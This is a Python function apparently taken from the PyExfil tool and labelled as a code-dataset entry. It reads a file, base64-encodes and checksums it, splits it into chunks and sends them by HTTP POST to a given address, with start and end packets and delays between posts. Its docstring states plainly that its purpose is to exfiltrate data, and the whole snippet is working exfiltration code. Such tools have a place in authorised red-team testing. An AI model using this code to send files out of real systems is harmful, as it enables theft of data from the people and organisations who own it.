def send_file(addr, file_path, max_packet_size=1200, time_delay=0.05):
	"""
	This function will exfiltrate the data given.
	:param addr: IP or hostname to exfiltrate the data to
	:param file_path: Path of the file to exfiltrate
	:param max_packet_size: If not set the max size is 1200
	:param time_delay: If not set time delay between packets is 0.05 seconds
	:return:
	"""
	try:
		# Load file
		fh = open(file_path, READ_BINARY)
		iAmFile = fh.read()
		fh.close()
	except:
		sys.stderr.write("Error reading file!\n")
		raise ()

	# Split file to chunks by size:
	chunks = []
	IamDone = ""

	IamDone = base64.b64encode(iAmFile)                                                         # Base64 Encode for ASCII
	checksum = zlib.crc32(IamDone)                                                              # Calculate CRC32 for later verification
	chunks = [IamDone[i:i + max_packet_size] for i in range(0, len(IamDone), max_packet_size)]  # Split into chunks
	head, tail = os.path.split(file_path)                                                       # Get filename

	# Initial packet:
	try:
		init_payload = tail + COOKIE_DELIMITER + str(checksum) + COOKIE_DELIMITER + str(len(chunks))
		payload = {INIT_PACKET_COOKIE: init_payload}
		requests.post(addr, data=json.dumps(payload), headers=HEADERS)
		sys.stdout.write("[+] Sent initiation package. Total of %s chunks.\n" % (len(chunks) + 2))
		sys.stdout.write(".")
		time.sleep(time_delay)
	except:
		sys.stderr.write("Unable to reach target with error:\n")
		raise ()

	# Send data
	current_chunk = 0
	for chunk in chunks:
		payload = {PACKET_COOKIE + str(current_chunk): chunk}
		requests.post(addr, data=json.dumps(payload), headers=HEADERS)
		current_chunk += 1
		sys.stdout.write(".")
		time.sleep(time_delay)
	sys.stdout.write(".\n")

	# Termination packet
	data = DATA_END + str(current_chunk)
	payload = {TERMINATION_COOKIE: data}
	requests.post(addr, data=json.dumps(payload), headers=HEADERS)
	sys.stdout.write("[+] Sent termination packets and total of %s packets.\n" % current_chunk)

	return 0
dataset/ETHPy150Open ytisf/PyExfil/pyexfil/http_exfiltration.py/send_file/original